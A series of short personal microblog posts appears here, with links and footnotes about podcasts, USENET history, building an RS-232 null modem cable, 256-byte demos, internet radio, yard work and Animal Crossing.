[1] https://www.going-flying.com/blog/podcasts-2019.html
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I was only marginally into USENET (having not had an Internet connection until the late 1990s but I was very much into Fidonet -- a similar construction created later for the BBS world), but this is still a ยซfascinating readยปยน.
[1] https://www.cs.columbia.edu/~smb/blog/2019-11/2019-11-14.html
There is something beautiful about ยซthisยปยน.
[1] https://www.youtube.com/watch?v=b2QPy-igBLA
Front lawn de-thatched, mowed, and fertilized. It almost feels like spring.
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On today's episode of things I didn't realize I would be glad to know how to do... building a bespoke null modem RS-232 cable.
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For more of your stay at home listening pleasure, Matt over at ยซhttps://piratehistorypodcast.comยปยน not only kills it every week with historically spiced pirate content but he is now lending his dulcet voice to the delight that is Treasure Island in between episodes.
Pirate History Podcast [1] The Pirate History Podcast
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I think I might be working too hard to get a picture for a blog post...
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I don't know why but ยซCarl Sagan flying through spaceยปยน *never* gets old it seems.
[1] https://www.youtube.com/watch?v=zSgiXGELjbc
I love that ยซthisยปยน and ยซthisยปยฒ are both only 256 bytes. That means that *half a sector* of a traditional hard drive holding either of these files would be *empty*!
[1] https://www.linusakesson.net/scene/a-mind-is-born/index.php#
[2] https://www.pouet.net/prod.php?which=85227
Music I have been staying at home to: ยซSomaFMยปยน, ยซBig Sonic Heavenยปยฒ, and ยซDNA Pizza'sยปยณ massive collection of music videos with a ยซrequest featureยปโด!
[1] https://somafm.com/listen/
[2] https://www.bigsonicheaven.com/
[3] https://www.dnalounge.com/webcast/
[4] https://www.dnalounge.com/musicvideos/
Hey Apple, it would be nice if your security updates would stop clobbering files that I modified. Yes indeed I do want to use automount in 2020.
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ยซThis is 100% my shit.ยปยน
[1] https://archive.org/details/DNALOUNGE-2019-09-23
I don't hate the crafting aspect of ยซAnimal Crossing New Horizonsยปยน as much as I thought I would but seriously, can we please get rid of tool durability?
[1] https://animal-crossing.com/new-horizons/
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Once again, for the second time.
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It verks! It is verking!
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